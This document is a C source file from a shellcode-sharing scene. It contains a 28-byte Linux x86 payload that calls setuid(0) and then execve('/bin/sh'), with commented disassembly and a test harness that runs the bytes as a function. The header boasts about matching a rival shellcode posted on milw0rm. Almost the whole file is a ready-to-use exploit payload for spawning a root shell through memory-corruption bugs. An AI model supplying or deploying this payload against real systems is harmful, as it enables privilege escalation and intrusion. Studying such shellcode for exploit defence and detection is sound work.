/*
 * (linux/x86) setuid(0) & execve("/bin/sh",0,0) 
 * 28 bytes
 * 
 * http://www.gonullyourself.org
 * sToRm <hixmostorm@hotmail.com>
 * 
 * I made this, because http://www.milw0rm.com/shellcode/7115 felt the need
 * to express his "superior" 28-byte shellcode in all caps.  I wasn't able
 * to beat his code, but it's no longer special.
 */

char shellcode[] =
                                // <_start>:
    "\x31\xdb"                  // xor    %ebx,%ebx
    "\x6a\x17"                  // push   $0x17
    "\x58"                      // pop    %eax
    "\xcd\x80"                  // int    $0x80
    "\xf7\xe3"                  // mul    %ebx
    "\xb0\x0b"                  // mov    $0xb,%al
    "\x31\xc9"                  // xor    %ecx,%ecx
    "\x51"                      // push   %ecx
    "\x68\x2f\x2f\x73\x68"      // push   $0x68732f2f
    "\x68\x2f\x62\x69\x6e"      // push   $0x6e69622f
    "\x89\xe3"                  // mov    %esp,%ebx
    "\xcd\x80"                  // int    $0x80
;

int main() {

    int (*f)() = (int(*)())shellcode;
    printf("Length: %u\n", strlen(shellcode));
    f();
    
}